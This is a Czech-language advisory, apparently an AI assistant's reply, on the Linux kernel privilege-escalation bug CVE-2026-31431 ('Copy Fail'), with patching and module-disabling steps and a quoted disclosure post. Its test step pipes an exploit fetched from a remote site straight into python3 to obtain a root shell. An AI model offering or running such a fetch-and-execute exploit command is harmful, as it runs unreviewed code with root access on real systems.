**CVE-2026-31431 („Copy Fail“)** je vážná **lokální eskalace privilegií (LPE)** v jádře Linuxu. Umožňuje jakémukoli běžnému uživateli (ne-root) získat root přístup na systému.
### Co přesně zranitelnost umožňuje?
- Chyba je v modulu **algif_aead** (část AF_ALG – uživatelského crypto API v jádře).
- Pomocí systémových volání `AF_ALG` `splice()` dokáže útočník provést **kontrolovaný 4bajtový zápis** do *page cache* (paměťové cache) libovolného souboru, který může číst.
- Typicky zacílí na setuid binárky jako `/usr/bin/su`, `/usr/bin/sudo` apod. → upraví je v paměti (ne na disku!), spustí je a získá root.
- Exploit je extrémně spolehlivý (100 %, bez race condition), funguje na všech major distribucích od roku 2017 (Ubuntu, RHEL, Amazon Linux, SUSE, Debian, Fedora, Rocky, Alma atd.).
- Funguje i v kontejnerech (Docker, Kubernetes) → může uniknout z containeru na host (page cache je sdílený).
- PoC je veřejný (732 bajtů Pythonu) a funguje stejně na všech postižených systémech.
**Není to remote zranitelnost** – vyžaduje lokální účet (shell, uživatelský kód v CI, container atd.).
### Jak zjistit, jestli je tvůj server/počítač zranitelný?
1. **Zkontroluj verzi jádra**
```bash
uname -r
```
2. **Aktualizuj systém a zkontroluj, jestli máš patch**
- **Ubuntu/Debian**:
```bash
sudo apt update && sudo apt upgrade
uname -r # musí být novější než před updatem
```
Ubuntu vydalo mitigation přes balíček `kmod` (zakázání modulu) a později kernely.
- **RHEL / Alma / Rocky / Fedora**:
```bash
sudo dnf update
```
- **Amazon Linux**: Podívej se na ALAS (Amazon Linux Security).
- **Obecně**: Porovnej svou verzi jádra s advisory tvé distribuce (hledat „CVE-2026-31431“ název distro). Patchovaný kernel obsahuje revert optimalizace z roku 2017 (commit `a664bf3`).
3. **Rychlý test zranitelnosti (jen na testovacích systémech!)**
```bash
curl
copy.fail/exp | python3
```
Pokud ti to dá root shell (`id` ukáže uid=0), jsi zranitelný.
**Varování**: Spouštěj jen na vlastních/testovacích strojích. Po testu reboot.
### Okamžitá ochrana (i když ještě nemáš patch)
```bash
# Zakázání zranitelného modulu (funguje na většině systémů)
echo "install algif_aead /bin/false" | sudo tee /etc/modprobe.d/disable-algif.conf
sudo rmmod algif_aead 2>/dev/null || true
```
- Po tomto by exploit měl selhat.
- Pro trvalost rebootuj a zkontroluj:
```bash
lsmod | grep algif_aead # nemělo by nic ukazovat
```
Další možnosti: seccomp filtry blokující `AF_ALG` sockety (vhodné pro kontejnery/CI), nebo livepatch (KernelCare apod.).
### Doporučení
- **Aktualizuj jádro reboot** → to je jediná plnohodnotná oprava.
- Pokud máš multi-tenant prostředí (servery s více uživateli, Kubernetes, CI runners, cloud instance), priorita je **vysoká**.
- Na osobním počítači (kde jsi jediný uživatel) je riziko nižší, ale stejně to oprav.
Pokud mi napíšeš výstup z `uname -r` a jakou máš distribuci/verzi, můžu ti říct přesněji, jestli jsi už v pořádku.
Copy Fail: 732 Bytes to Root on Every Major Linux Distribution.
Xint Code disclosed CVE-2026-31431, an authencesn scratch-write bug chaining AF_ALG splice() into a 4-byte page cache write. A 732-byte PoC gets root on Ubuntu, Amazon Linux, RHEL, SUSE.
xint.io/blog/copy-fail-linux…